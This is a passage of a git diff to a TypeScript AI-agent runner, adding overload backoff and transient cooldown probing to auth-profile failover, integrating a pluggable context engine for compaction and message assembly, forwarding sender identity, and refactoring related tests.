params.allowTransientCooldownProbe === true && allAutoProfilesInCooldown && - unavailableReason === "rate_limit"; - let didRateLimitCooldownProbe = false; + (unavailableReason === "rate_limit" || unavailableReason === "overloaded"); + let didTransientCooldownProbe = false; while (profileIndex < profileCandidates.length) { const candidate = profileCandidates[profileIndex]; const inCooldown = candidate && candidate !== lockedProfileId && isProfileInCooldown(authStore, candidate); if (inCooldown) { - if (allowRateLimitCooldownProbe && !didRateLimitCooldownProbe) { - didRateLimitCooldownProbe = true; + if (allowTransientCooldownProbe && !didTransientCooldownProbe) { + didTransientCooldownProbe = true; log.warn( - `probing cooldowned auth profile for ${provider}/${modelId} due to rate_limit unavailability`, + `probing cooldowned auth profile for ${provider}/${modelId} due to ${unavailableReason ?? "transient"} unavailability`, ); } else { profileIndex += 1; @@ -719,9 +738,10 @@ export async function runEmbeddedPiAgent( let lastRunPromptUsage: ReturnType | undefined; let autoCompactionCount = 0; let runLoopIterations = 0; + let overloadFailoverAttempts = 0; const maybeMarkAuthProfileFailure = async (failure: { profileId?: string; - reason?: Parameters[0]["reason"] | null; + reason?: AuthProfileFailureReason | null; config?: RunEmbeddedPiAgentParams["config"]; agentDir?: RunEmbeddedPiAgentParams["agentDir"]; }) => { @@ -737,6 +757,40 @@ export async function runEmbeddedPiAgent( agentDir, }); }; + const resolveAuthProfileFailureReason = ( + failoverReason: FailoverReason | null, + ): AuthProfileFailureReason | null => { + // Timeouts are transport/model-path failures, not auth health signals, + // so they should not persist auth-profile failure state. + if (!failoverReason || failoverReason === "timeout") { + return null; + } + return failoverReason; + }; + const maybeBackoffBeforeOverloadFailover = async (reason: FailoverReason | null) => { + if (reason !== "overloaded") { + return; + } + overloadFailoverAttempts += 1; + const delayMs = computeBackoff(OVERLOAD_FAILOVER_BACKOFF_POLICY, overloadFailoverAttempts); + log.warn( + `overload backoff before failover for ${provider}/${modelId}: attempt=${overloadFailoverAttempts} delayMs=${delayMs}`, + ); + try { + await sleepWithAbort(delayMs, params.abortSignal); + } catch (err) { + if (params.abortSignal?.aborted) { + const abortErr = new Error("Operation aborted", { cause: err }); + abortErr.name = "AbortError"; + throw abortErr; + } + throw err; + } + }; + // Resolve the context engine once and reuse across retries to avoid + // repeated initialization/connection overhead per attempt. + ensureContextEnginesInitialized(); + const contextEngine = await resolveContextEngine(params.config); try { let authRetryPending = false; // Hoisted so the retry-limit error path can use the most recent API total. @@ -796,6 +850,10 @@ export async function runEmbeddedPiAgent( groupChannel: params.groupChannel, groupSpace: params.groupSpace, spawnedBy: params.spawnedBy, + senderId: params.senderId, + senderName: params.senderName, + senderUsername: params.senderUsername, + senderE164: params.senderE164, senderIsOwner: params.senderIsOwner, currentChannelId: params.currentChannelId, currentThreadTs: params.currentThreadTs, @@ -806,13 +864,17 @@ export async function runEmbeddedPiAgent( workspaceDir: resolvedWorkspace, agentDir, config: params.config, + contextEngine, + contextTokenBudget: ctxInfo.tokens, skillsSnapshot: params.skillsSnapshot, prompt, images: params.images, disableTools: params.disableTools, provider, modelId, - model, + model: effectiveModel, + authProfileId: lastProfileId, + authProfileIdSource: lockedProfileId ? "user" : "auto", authStorage, modelRegistry, agentId: workspaceResolution.agentId, @@ -955,31 +1017,36 @@ export async function runEmbeddedPiAgent( log.warn( `context overflow detected (attempt ${overflowCompactionAttempts}/${MAX_OVERFLOW_COMPACTION_ATTEMPTS}); attempting auto-compaction for ${provider}/${modelId}`, ); - const compactResult = await compactEmbeddedPiSessionDirect({ + const compactResult = await contextEngine.compact({ sessionId: params.sessionId, - sessionKey: params.sessionKey, - messageChannel: params.messageChannel, - messageProvider: params.messageProvider, - agentAccountId: params.agentAccountId, - authProfileId: lastProfileId, sessionFile: params.sessionFile, - workspaceDir: resolvedWorkspace, - agentDir, - config: params.config, - skillsSnapshot: params.skillsSnapshot, - senderIsOwner: params.senderIsOwner, - provider, - model: modelId, - runId: params.runId, - thinkLevel, - reasoningLevel: params.reasoningLevel, - bashElevated: params.bashElevated, - extraSystemPrompt: params.extraSystemPrompt, - ownerNumbers: params.ownerNumbers, - trigger: "overflow", - diagId: overflowDiagId, - attempt: overflowCompactionAttempts, - maxAttempts: MAX_OVERFLOW_COMPACTION_ATTEMPTS, + tokenBudget: ctxInfo.tokens, + force: true, + compactionTarget: "budget", + legacyParams: { + sessionKey: params.sessionKey, + messageChannel: params.messageChannel, + messageProvider: params.messageProvider, + agentAccountId: params.agentAccountId, + authProfileId: lastProfileId, + workspaceDir: resolvedWorkspace, + agentDir, + config: params.config, + skillsSnapshot: params.skillsSnapshot, + senderIsOwner: params.senderIsOwner, + provider, + model: modelId, + runId: params.runId, + thinkLevel, + reasoningLevel: params.reasoningLevel, + bashElevated: params.bashElevated, + extraSystemPrompt: params.extraSystemPrompt, + ownerNumbers: params.ownerNumbers, + trigger: "overflow", + diagId: overflowDiagId, + attempt: overflowCompactionAttempts, + maxAttempts: MAX_OVERFLOW_COMPACTION_ATTEMPTS, + }, }); if (compactResult.compacted) { autoCompactionCount += 1; @@ -1145,15 +1212,19 @@ export async function runEmbeddedPiAgent( }; } const promptFailoverReason = classifyFailoverReason(errorText); + const promptProfileFailureReason = + resolveAuthProfileFailureReason(promptFailoverReason); await maybeMarkAuthProfileFailure({ profileId: lastProfileId, - reason: promptFailoverReason, + reason: promptProfileFailureReason, }); + const promptFailoverFailure = isFailoverErrorMessage(errorText); if ( - isFailoverErrorMessage(errorText) && + promptFailoverFailure && promptFailoverReason !== "timeout" && (await advanceAuthProfile()) ) { + await maybeBackoffBeforeOverloadFailover(promptFailoverReason); continue; } const fallbackThinking = pickFallbackThinkingLevel({ @@ -1167,9 +1238,11 @@ export async function runEmbeddedPiAgent( thinkLevel = fallbackThinking; continue; } - // FIX: Throw FailoverError for prompt errors when fallbacks configured - // This enables model fallback for quota/rate limit errors during prompt submission - if (fallbackConfigured && isFailoverErrorMessage(errorText)) { + // Throw FailoverError for prompt-side failover reasons when fallbacks + // are configured so outer model fallback can continue on overload, + // rate-limit, auth, or billing failures. + if (fallbackConfigured && promptFailoverFailure) { + await maybeBackoffBeforeOverloadFailover(promptFailoverReason); throw new FailoverError(errorText, { reason: promptFailoverReason ?? "unknown", provider, @@ -1198,6 +1271,8 @@ export async function runEmbeddedPiAgent( const billingFailure = isBillingAssistantError(lastAssistant); const failoverFailure = isFailoverAssistantError(lastAssistant); const assistantFailoverReason = classifyFailoverReason(lastAssistant?.errorMessage ?? ""); + const assistantProfileFailureReason = + resolveAuthProfileFailureReason(assistantFailoverReason); const cloudCodeAssistFormatError = attempt.cloudCodeAssistFormatError; const imageDimensionError = parseImageDimensionError(lastAssistant?.errorMessage ?? ""); @@ -1237,10 +1312,7 @@ export async function runEmbeddedPiAgent( if (shouldRotate) { if (lastProfileId) { - const reason = - timedOut || assistantFailoverReason === "timeout" - ? "timeout" - : (assistantFailoverReason ?? "unknown"); + const reason = timedOut ? "timeout" : assistantProfileFailureReason; // Skip cooldown for timeouts: a timeout is model/network-specific, // not an auth issue. Marking the profile would poison fallback models // on the same provider (e.g. gpt-5.3 timeout blocks gpt-5.2). @@ -1260,10 +1332,12 @@ export async function runEmbeddedPiAgent( const rotated = await advanceAuthProfile(); if (rotated) { + await maybeBackoffBeforeOverloadFailover(assistantFailoverReason); continue; } if (fallbackConfigured) { + await maybeBackoffBeforeOverloadFailover(assistantFailoverReason); // Prefer formatted error message (user-friendly) over raw errorMessage const message = (lastAssistant @@ -1412,6 +1486,7 @@ export async function runEmbeddedPiAgent( }; } } finally { + await contextEngine.dispose?.(); stopCopilotRefreshTimer(); process.chdir(prevCwd); } diff --git a/src/agents/pi-embedded-runner/run/attempt.test.ts b/src/agents/pi-embedded-runner/run/attempt.test.ts index 4f637a464c2..c4878617c5c 100644 --- a/src/agents/pi-embedded-runner/run/attempt.test.ts +++ b/src/agents/pi-embedded-runner/run/attempt.test.ts @@ -1,8 +1,10 @@ import { describe, expect, it, vi } from "vitest"; import type { OpenClawConfig } from "../../../config/config.js"; import { + buildAfterTurnLegacyCompactionParams, composeSystemPromptWithHookContext, isOllamaCompatProvider, + prependSystemPromptAddition, resolveAttemptFsWorkspaceOnly, resolveOllamaBaseUrlForRun, resolveOllamaCompatNumCtxEnabled, @@ -180,7 +182,6 @@ describe("resolveAttemptFsWorkspaceOnly", () => { ).toBe(false); }); }); - describe("wrapStreamFnTrimToolCallNames", () => { function createFakeStream(params: { events: unknown[]; resultMessage: unknown }): { result: () => Promise; @@ -548,3 +549,54 @@ describe("decodeHtmlEntitiesInObject", () => { expect(decodeHtmlEntitiesInObject("'world'")).toBe("'world'"); }); }); +describe("prependSystemPromptAddition", () => { + it("prepends context-engine addition to the system prompt", () => { + const result = prependSystemPromptAddition({ + systemPrompt: "base system", + systemPromptAddition: "extra behavior", + }); + + expect(result).toBe("extra behavior\n\nbase system"); + }); + + it("returns the original system prompt when no addition is provided", () => { + const result = prependSystemPromptAddition({ + systemPrompt: "base system", + }); + + expect(result).toBe("base system"); + }); +}); + +describe("buildAfterTurnLegacyCompactionParams", () => { + it("includes resolved auth profile fields for context-engine afterTurn compaction", () => { + const legacy = buildAfterTurnLegacyCompactionParams({ + attempt: { + sessionKey: "agent:main:session:abc", + messageChannel: "slack", + messageProvider: "slack", + agentAccountId: "acct-1", + authProfileId: "openai:p1", + config: { plugins: { slots: { contextEngine: "lossless-claw" } } } as OpenClawConfig, + skillsSnapshot: undefined, + senderIsOwner: true, + provider: "openai-codex", + modelId: "gpt-5.3-codex", + thinkLevel: "off", + reasoningLevel: "on", + extraSystemPrompt: "extra", + ownerNumbers: ["+15555550123"], + }, + workspaceDir: "/tmp/workspace", + agentDir: "/tmp/agent", + }); + + expect(legacy).toMatchObject({ + authProfileId: "openai:p1", + provider: "openai-codex", + model: "gpt-5.3-codex", + workspaceDir: "/tmp/workspace", + agentDir: "/tmp/agent", + }); + }); +}); diff --git a/src/agents/pi-embedded-runner/run/attempt.ts b/src/agents/pi-embedded-runner/run/attempt.ts index 4a75c297a26..e8bac7d6fba 100644 --- a/src/agents/pi-embedded-runner/run/attempt.ts +++ b/src/agents/pi-embedded-runner/run/attempt.ts @@ -49,6 +49,7 @@ import { isTimeoutError } from "../../failover-error.js"; import { resolveImageSanitizationLimits } from "../../image-sanitization.js"; import { resolveModelAuthMode } from "../../model-auth.js"; import { normalizeProviderId, resolveDefaultModelForAgent } from "../../model-selection.js"; +import { supportsModelTools } from "../../model-tool-support.js"; import { createOllamaStreamFn, OLLAMA_NATIVE_BASE_URL } from "../../ollama-stream.js"; import { createOpenAIWebSocketStreamFn, releaseWsSession } from "../../openai-ws-stream.js"; import { resolveOwnerDisplaySetting } from "../../owner-display.js"; @@ -63,6 +64,7 @@ import { } from "../../pi-embedded-helpers.js"; import { subscribeEmbeddedPiSession } from "../../pi-embedded-subscribe.js"; import { createPreparedEmbeddedPiSettingsManager } from "../../pi-project-settings.js"; +import { applyPiAutoCompactionGuard } from "../../pi-settings.js"; import { toClientToolDefinitions } from "../../pi-tool-definition-adapter.js"; import { createOpenClawCodingTools, resolveToolLoopDetectionConfig } from "../../pi-tools.js"; import { resolveSandboxContext } from "../../sandbox.js"; @@ -90,6 +92,7 @@ import { resolveTranscriptPolicy } from "../../transcript-policy.js"; import { DEFAULT_BOOTSTRAP_FILENAME } from "../../workspace.js"; import { isRunnerAbortError } from "../abort.js"; import { appendCacheTtlTimestamp, isCacheTtlEligibleProvider } from "../cache-ttl.js"; +import type { CompactEmbeddedPiSessionParams } from "../compact.js"; import { buildEmbeddedExtensionFactories } from "../extensions.js"; import { applyExtraParamsToAgent } from "../extra-params.js"; import { @@ -617,6 +620,60 @@ export function resolveAttemptFsWorkspaceOnly(params: { }); } +export function prependSystemPromptAddition(params: { + systemPrompt: string; + systemPromptAddition?: string; +}): string { + if (!params.systemPromptAddition) { + return params.systemPrompt; + } + return `${params.systemPromptAddition}\n\n${params.systemPrompt}`; +} + +/** Build legacy compaction params passed into context-engine afterTurn hooks. */ +export function buildAfterTurnLegacyCompactionParams(params: { + attempt: Pick< + EmbeddedRunAttemptParams, + | "sessionKey" + | "messageChannel" + | "messageProvider" + | "agentAccountId" + | "config" + | "skillsSnapshot" + | "senderIsOwner" + | "provider" + | "modelId" + | "thinkLevel" + | "reasoningLevel" + | "bashElevated" + | "extraSystemPrompt" + | "ownerNumbers" + | "authProfileId" + >; + workspaceDir: string; + agentDir: string; +}): Partial { + return { + sessionKey: params.attempt.sessionKey, + messageChannel: params.attempt.messageChannel, + messageProvider: params.attempt.messageProvider, + agentAccountId: params.attempt.agentAccountId, + authProfileId: params.attempt.authProfileId, + workspaceDir: params.workspaceDir, + agentDir: params.agentDir, + config: params.attempt.config, + skillsSnapshot: params.attempt.skillsSnapshot, + senderIsOwner: params.attempt.senderIsOwner, + provider: params.attempt.provider, + model: params.attempt.modelId, + thinkLevel: params.attempt.thinkLevel, + reasoningLevel: params.attempt.reasoningLevel, + bashElevated: params.attempt.bashElevated, + extraSystemPrompt: params.attempt.extraSystemPrompt, + ownerNumbers: params.attempt.ownerNumbers, + }; +} + function summarizeMessagePayload(msg: AgentMessage): { textChars: number; imageBlocks: number } { const content = (msg as { content?: unknown }).content; if (typeof content === "string") { @@ -822,10 +879,15 @@ export async function runEmbeddedAttempt( params.requireExplicitMessageTarget ?? isSubagentSessionKey(params.sessionKey), disableMessageTool: params.disableMessageTool, }); - const tools = sanitizeToolsForGoogle({ tools: toolsRaw, provider: params.provider }); + const toolsEnabled = supportsModelTools(params.model); + const tools = sanitizeToolsForGoogle({ + tools: toolsEnabled ? toolsRaw : [], + provider: params.provider, + }); + const clientTools = toolsEnabled ? params.clientTools : undefined; const allowedToolNames = collectAllowedToolNames({ tools, - clientTools: params.clientTools, + clientTools, }); logToolSchemasForGoogle({ tools, provider: params.provider }); @@ -1025,6 +1087,17 @@ export async function runEmbeddedAttempt( }); trackSessionManagerAccess(params.sessionFile); + if (hadSessionFile && params.contextEngine?.bootstrap) { + try { + await params.contextEngine.bootstrap({ + sessionId: params.sessionId, + sessionFile: params.sessionFile, + }); + } catch (bootstrapErr) { + log.warn(`context engine bootstrap failed: ${String(bootstrapErr)}`); + } + } + await prepareSessionManagerForRun({ sessionManager, sessionFile: params.sessionFile, @@ -1038,6 +1111,10 @@ export async function runEmbeddedAttempt( agentDir, cfg: params.config, }); + applyPiAutoCompactionGuard({ + settingsManager, + contextEngineInfo: params.contextEngine?.info, + }); // Sets compaction/pruning runtime state and returns extension factories // that must be passed to the resource loader for the safeguard to be active. @@ -1075,9 +1152,9 @@ export async function runEmbeddedAttempt( cfg: params.config, agentId: sessionAgentId, }); - const clientToolDefs = params.clientTools + const clientToolDefs = clientTools ? toClientToolDefinitions( - params.clientTools, + clientTools, (toolName, toolParams) => { clientToolCallDetected = { name: toolName, params: toolParams }; }, @@ -1336,6 +1413,33 @@ export async function runEmbeddedAttempt( if (limited.length > 0) { activeSession.agent.replaceMessages(limited); } + + if (params.contextEngine) { + try { + const assembled = await params.contextEngine.assemble({ + sessionId: params.sessionId, + messages: activeSession.messages, + tokenBudget: params.contextTokenBudget, + }); + if (assembled.messages !== activeSession.messages) { + activeSession.agent.replaceMessages(assembled.messages); + } + if (assembled.systemPromptAddition) { + systemPromptText = prependSystemPromptAddition({ + systemPrompt: systemPromptText, + systemPromptAddition: assembled.systemPromptAddition, + }); + applySystemPromptOverrideToSession(activeSession, systemPromptText); + log.debug( + `context engine: prepended system prompt addition (${assembled.systemPromptAddition.length} chars)`, + ); + } + } catch (assembleErr) { + log.warn( + `context engine assemble failed, using pipeline messages: ${String(assembleErr)}`, + ); + } + } } catch (err) { await flushPendingToolResultsAfterIdle({ agent: activeSession?.agent, @@ -1515,6 +1619,7 @@ export async function runEmbeddedAttempt( let promptError: unknown = null; let promptErrorSource: "prompt" | "compaction" | null = null; + const prePromptMessageCount = activeSession.messages.length; try { const promptStartedAt = Date.now(); @@ -1772,6 +1877,56 @@ export async function runEmbeddedAttempt( } } + // Let the active context engine run its post-turn lifecycle. + if (params.contextEngine) { + const afterTurnLegacyCompactionParams = buildAfterTurnLegacyCompactionParams({ + attempt: params, + workspaceDir: effectiveWorkspace, + agentDir, + }); + + if (typeof params.contextEngine.afterTurn === "function") { + try { + await params.contextEngine.afterTurn({ + sessionId: sessionIdUsed, + sessionFile: params.sessionFile, + messages: messagesSnapshot, + prePromptMessageCount, + tokenBudget: params.contextTokenBudget, + legacyCompactionParams: afterTurnLegacyCompactionParams, + }); + } catch (afterTurnErr) { + log.warn(`context engine afterTurn failed: ${String(afterTurnErr)}`); + } + } else { + // Fallback: ingest new messages individually + const newMessages = messagesSnapshot.slice(prePromptMessageCount); + if (newMessages.length > 0) { + if (typeof params.contextEngine.ingestBatch === "function") { + try { + await params.contextEngine.ingestBatch({ + sessionId: sessionIdUsed, + messages: newMessages, + }); + } catch (ingestErr) { + log.warn(`context engine ingest failed: ${String(ingestErr)}`); + } + } else { + for (const msg of newMessages) { + try { + await params.contextEngine.ingest({ + sessionId: sessionIdUsed, + message: msg, + }); + } catch (ingestErr) { + log.warn(`context engine ingest failed: ${String(ingestErr)}`); + } + } + } + } + } + } + cacheTrace?.recordStage("session:after", { messages: messagesSnapshot, note: timedOutDuringCompaction diff --git a/src/agents/pi-embedded-runner/run/params.ts b/src/agents/pi-embedded-runner/run/params.ts index fd0f2112361..6d067c910bf 100644 --- a/src/agents/pi-embedded-runner/run/params.ts +++ b/src/agents/pi-embedded-runner/run/params.ts @@ -115,10 +115,10 @@ export type RunEmbeddedPiAgentParams = { enforceFinalTag?: boolean; /** * Allow a single run attempt even when all auth profiles are in cooldown, - * but only for inferred `rate_limit` cooldowns. + * but only for inferred transient cooldowns like `rate_limit` or `overloaded`. * * This is used by model fallback when trying sibling models on providers - * where rate limits are often model-scoped. + * where transient service pressure is often model-scoped. */ - allowRateLimitCooldownProbe?: boolean; + allowTransientCooldownProbe?: boolean; }; diff --git a/src/agents/pi-embedded-runner/run/types.ts b/src/agents/pi-embedded-runner/run/types.ts index 35251edd807..dff5aa6f251 100644 --- a/src/agents/pi-embedded-runner/run/types.ts +++ b/src/agents/pi-embedded-runner/run/types.ts @@ -3,6 +3,7 @@ import type { Api, AssistantMessage, Model } from "@mariozechner/pi-ai"; import type { AuthStorage, ModelRegistry } from "@mariozechner/pi-coding-agent"; import type { ThinkLevel } from "../../../auto-reply/thinking.js"; import type { SessionSystemPromptReport } from "../../../config/sessions/types.js"; +import type { ContextEngine } from "../../../context-engine/types.js"; import type { PluginHookBeforeAgentStartResult } from "../../../plugins/types.js"; import type { MessagingToolSend } from "../../pi-embedded-messaging.js"; import type { NormalizedUsage } from "../../usage.js"; @@ -14,6 +15,14 @@ type EmbeddedRunAttemptBase = Omit< >; export type EmbeddedRunAttemptParams = EmbeddedRunAttemptBase & { + /** Pluggable context engine for ingest/assemble/compact lifecycle. */ + contextEngine?: ContextEngine; + /** Resolved model context window in tokens for assemble/compact budgeting. */ + contextTokenBudget?: number; + /** Auth profile resolved for this attempt's provider/model call. */ + authProfileId?: string; + /** Source for the resolved auth profile (user-locked or automatic). */ + authProfileIdSource?: "auto" | "user"; provider: string; modelId: string; model: Model; diff --git a/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts b/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts index ca1a60fc10c..c888ae2f4ab 100644 --- a/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts +++ b/src/agents/pi-embedded-runner/sanitize-session-history.tool-result-details.test.ts @@ -1,35 +1,21 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; -import type { AssistantMessage, ToolResultMessage, UserMessage } from "@mariozechner/pi-ai"; +import type { ToolResultMessage, UserMessage } from "@mariozechner/pi-ai"; import { SessionManager } from "@mariozechner/pi-coding-agent"; import { describe, expect, it } from "vitest"; +import { makeAgentAssistantMessage } from "../test-helpers/agent-message-fixtures.js"; import { sanitizeSessionHistory } from "./google.js"; -function makeAssistantToolCall(timestamp: number): AssistantMessage { - return { - role: "assistant", - content: [{ type: "toolCall", id: "call_1", name: "web_fetch", arguments: { url: "x" } }], - api: "openai-responses", - provider: "openai", - model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "toolUse", - timestamp, - }; -} - describe("sanitizeSessionHistory toolResult details stripping", () => { it("strips toolResult.details so untrusted payloads are not fed back to the model", async () => { const sm = SessionManager.inMemory(); const messages: AgentMessage[] = [ - makeAssistantToolCall(1), + makeAgentAssistantMessage({ + content: [{ type: "toolCall", id: "call_1", name: "web_fetch", arguments: { url: "x" } }], + model: "gpt-5.2", + stopReason: "toolUse", + timestamp: 1, + }), { role: "toolResult", toolCallId: "call_1", diff --git a/src/agents/pi-embedded-runner/skills-runtime.integration.test.ts b/src/agents/pi-embedded-runner/skills-runtime.integration.test.ts index 03191e51c8e..8d42b061b81 100644 --- a/src/agents/pi-embedded-runner/skills-runtime.integration.test.ts +++ b/src/agents/pi-embedded-runner/skills-runtime.integration.test.ts @@ -4,6 +4,7 @@ import path from "node:path"; import { afterEach, describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; import { clearPluginManifestRegistryCache } from "../../plugins/manifest-registry.js"; +import { writePluginWithSkill } from "../test-helpers/skill-plugin-fixtures.js"; import { resolveEmbeddedRunSkillEntries } from "./skills-runtime.js"; const tempDirs: string[] = []; @@ -20,26 +21,12 @@ async function setupBundledDiffsPlugin() { const workspaceDir = await createTempDir("openclaw-workspace-"); const pluginRoot = path.join(bundledPluginsDir, "diffs"); - await fs.mkdir(path.join(pluginRoot, "skills", "diffs"), { recursive: true }); - await fs.writeFile( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify( - { - id: "diffs", - skills: ["./skills"], - configSchema: { type: "object", additionalProperties: false, properties: {} }, - }, - null, - 2, - ), - "utf-8", - ); - await fs.writeFile(path.join(pluginRoot, "index.ts"), "export {};\n", "utf-8"); - await fs.writeFile( - path.join(pluginRoot, "skills", "diffs", "SKILL.md"), - `---\nname: diffs\ndescription: runtime integration test\n---\n`, - "utf-8", - ); + await writePluginWithSkill({ + pluginRoot, + pluginId: "diffs", + skillId: "diffs", + skillDescription: "runtime integration test", + }); return { bundledPluginsDir, workspaceDir }; } diff --git a/src/agents/pi-embedded-runner/tool-result-truncation.test.ts b/src/agents/pi-embedded-runner/tool-result-truncation.test.ts index 8b4fbb628c6..2dce36ed076 100644 --- a/src/agents/pi-embedded-runner/tool-result-truncation.test.ts +++ b/src/agents/pi-embedded-runner/tool-result-truncation.test.ts @@ -1,6 +1,7 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; import type { AssistantMessage, ToolResultMessage, UserMessage } from "@mariozechner/pi-ai"; import { describe, expect, it } from "vitest"; +import { makeAgentAssistantMessage } from "../test-helpers/agent-message-fixtures.js"; import { truncateToolResultText, truncateToolResultMessage, @@ -35,23 +36,12 @@ function makeUserMessage(text: string): UserMessage { } function makeAssistantMessage(text: string): AssistantMessage { - return { - role: "assistant", + return makeAgentAssistantMessage({ content: [{ type: "text", text }], - api: "openai-responses", - provider: "openai", model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, stopReason: "stop", timestamp: nextTimestamp(), - }; + }); } describe("truncateToolResultText", () => { diff --git a/src/agents/pi-embedded-runner/usage-reporting.test.ts b/src/agents/pi-embedded-runner/usage-reporting.test.ts index ed8d1227225..f4d6f5cbe44 100644 --- a/src/agents/pi-embedded-runner/usage-reporting.test.ts +++ b/src/agents/pi-embedded-runner/usage-reporting.test.ts @@ -10,6 +10,40 @@ describe("runEmbeddedPiAgent usage reporting", () => { vi.clearAllMocks(); }); + it("forwards sender identity fields into embedded attempts", async () => { + mockedRunEmbeddedAttempt.mockResolvedValueOnce({ + aborted: false, + promptError: null, + timedOut: false, + sessionIdUsed: "test-session", + assistantTexts: ["Response 1"], + // eslint-disable-next-line @typescript-eslint/no-explicit-any + } as any); + + await runEmbeddedPiAgent({ + sessionId: "test-session", + sessionKey: "test-key", + sessionFile: "/tmp/session.json", + workspaceDir: "/tmp/workspace", + prompt: "hello", + timeoutMs: 30000, + runId: "run-sender-forwarding", + senderId: "user-123", + senderName: "Josh Lehman", + senderUsername: "josh", + senderE164: "+15551234567", + }); + + expect(mockedRunEmbeddedAttempt).toHaveBeenCalledWith( + expect.objectContaining({ + senderId: "user-123", + senderName: "Josh Lehman", + senderUsername: "josh", + senderE164: "+15551234567", + }), + ); + }); + it("reports total usage from the last turn instead of accumulated total", async () => { // Simulate a multi-turn run result. // Turn 1: Input 100, Output 50. Total 150. diff --git a/src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts b/src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts new file mode 100644 index 00000000000..704d5d98a76 --- /dev/null +++ b/src/agents/pi-embedded-subscribe.block-reply-rejections.test.ts @@ -0,0 +1,57 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import { + createSubscribedSessionHarness, + emitAssistantTextDelta, + emitAssistantTextEnd, + emitMessageStartAndEndForAssistantText, +} from "./pi-embedded-subscribe.e2e-harness.js"; + +const waitForAsyncCallbacks = async () => { + await Promise.resolve(); + await new Promise((resolve) => setTimeout(resolve, 0)); +}; + +describe("subscribeEmbeddedPiSession block reply rejections", () => { + const unhandledRejections: unknown[] = []; + const onUnhandledRejection = (reason: unknown) => { + unhandledRejections.push(reason); + }; + + afterEach(() => { + process.off("unhandledRejection", onUnhandledRejection); + unhandledRejections.length = 0; + }); + + it("contains rejected async text_end block replies", async () => { + process.on("unhandledRejection", onUnhandledRejection); + const onBlockReply = vi.fn().mockRejectedValue(new Error("boom")); + const { emit } = createSubscribedSessionHarness({ + runId: "run", + onBlockReply, + blockReplyBreak: "text_end", + }); + + emitAssistantTextDelta({ emit, delta: "Hello block" }); + emitAssistantTextEnd({ emit }); + await waitForAsyncCallbacks(); + + expect(onBlockReply).toHaveBeenCalledTimes(1); + expect(unhandledRejections).toHaveLength(0); + }); + + it("contains rejected async message_end block replies", async () => { + process.on("unhandledRejection", onUnhandledRejection); + const onBlockReply = vi.fn().mockRejectedValue(new Error("boom")); + const { emit } = createSubscribedSessionHarness({ + runId: "run", + onBlockReply, + blockReplyBreak: "message_end", + }); + + emitMessageStartAndEndForAssistantText({ emit, text: "Hello block" }); + await waitForAsyncCallbacks(); + + expect(onBlockReply).toHaveBeenCalledTimes(1); + expect(unhandledRejections).toHaveLength(0); + }); +}); diff --git a/src/agents/pi-embedded-subscribe.handlers.compaction.ts b/src/agents/pi-embedded-subscribe.handlers.compaction.ts index f25d05f0065..705ffb7cf89 100644 --- a/src/agents/pi-embedded-subscribe.handlers.compaction.ts +++ b/src/agents/pi-embedded-subscribe.handlers.compaction.ts @@ -40,11 +40,17 @@ export function handleAutoCompactionStart(ctx: EmbeddedPiSubscribeContext) { export function handleAutoCompactionEnd( ctx: EmbeddedPiSubscribeContext, - evt: AgentEvent & { willRetry?: unknown }, + evt: AgentEvent & { willRetry?: unknown; result?: unknown; aborted?: unknown }, ) { ctx.state.compactionInFlight = false; const willRetry = Boolean(evt.willRetry); - if (!willRetry) { + // Increment counter whenever compaction actually produced a result, + // regardless of willRetry. Overflow-triggered compaction sets willRetry=true + // (the framework retries the LLM request), but the compaction itself succeeded + // and context was trimmed — the counter must reflect that. (#38905) + const hasResult = evt.result != null; + const wasAborted = Boolean(evt.aborted); + if (hasResult && !wasAborted) { ctx.incrementCompactionCount?.(); } if (willRetry) { diff --git a/src/agents/pi-embedded-subscribe.handlers.messages.ts b/src/agents/pi-embedded-subscribe.handlers.messages.ts index d58690814a3..c89a4b71496 100644 --- a/src/agents/pi-embedded-subscribe.handlers.messages.ts +++ b/src/agents/pi-embedded-subscribe.handlers.messages.ts @@ -326,6 +326,16 @@ export function handleMessageEnd( ctx.finalizeAssistantTexts({ text, addedDuringMessage, chunkerHasBuffered }); const onBlockReply = ctx.params.onBlockReply; + const emitBlockReplySafely = (payload: Parameters>[0]) => { + if (!onBlockReply) { + return; + } + void Promise.resolve() + .then(() => onBlockReply(payload)) + .catch((err) => { + ctx.log.warn(`block reply callback failed: ${String(err)}`); + }); + }; const shouldEmitReasoning = Boolean( ctx.state.includeReasoning && formattedReasoning && @@ -339,7 +349,7 @@ export function handleMessageEnd( return; } ctx.state.lastReasoningSent = formattedReasoning; - void onBlockReply?.({ text: formattedReasoning, isReasoning: true }); + emitBlockReplySafely({ text: formattedReasoning, isReasoning: true }); }; if (shouldEmitReasoningBeforeAnswer) { @@ -362,7 +372,7 @@ export function handleMessageEnd( } = splitResult; // Emit if there's content OR audioAsVoice flag (to propagate the flag). if (cleanedText || (mediaUrls && mediaUrls.length > 0) || audioAsVoice) { - void onBlockReply({ + emitBlockReplySafely({ text: cleanedText, mediaUrls: mediaUrls?.length ? mediaUrls : undefined, audioAsVoice, diff --git a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.test.ts b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.test.ts index 334839730f6..22d0a30bfde 100644 --- a/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.test.ts +++ b/src/agents/pi-embedded-subscribe.subscribe-embedded-pi-session.waits-multiple-compaction-retries-before-resolving.test.ts @@ -38,11 +38,26 @@ describe("subscribeEmbeddedPiSession", () => { emit({ type: 